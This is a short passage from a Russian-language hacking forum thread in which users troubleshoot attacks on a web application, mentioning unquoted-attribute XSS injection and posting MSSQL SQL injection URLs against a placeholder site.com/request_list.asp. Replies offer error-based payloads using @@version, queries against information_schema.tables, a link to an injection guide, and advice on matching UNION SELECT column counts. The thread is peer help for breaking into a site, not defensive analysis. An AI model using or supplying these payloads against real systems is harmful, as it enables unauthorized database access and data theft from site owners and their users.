довольно часто бывает без ковычек

тогда вставляй туда уже любой свой хтмл/жаваскрипт код только шеллом это тебе не светит...

В вышеприведенном скрипте - нет.
HTML не имеет доступа к файловой системе.

Фильтрует именно ">? Или " и > по очереди?

не думал что она просто закрыта?

На ключ?

DeluxeS
https://forum.antichat.ru/thread104591.html
Вопрос №3

site.com/request_list.asp?action=view&id=111814+and+1=(sele ct+@@version
но при

site.com/request_list.asp?action=view&id=111814+or+1=(selec t+top+1+table_name+from+information_schema.tables)--
ругается а-ля

Incorrect syntax near the keyword 'from'.


при union select верном пишет Incorrect syntax near '@@version'.


перегуглил все интернеты, нигде не нашел вразумительного ответа, обходы /**/, %20 и прочее не пашет, подскажите а?

1' or 1=@@version
или
1 or 1=@@version

http://injection.rulezz.ru/MSSQL-Injection.html
На почитай.

Ты для union select кол-во колонок подбирал?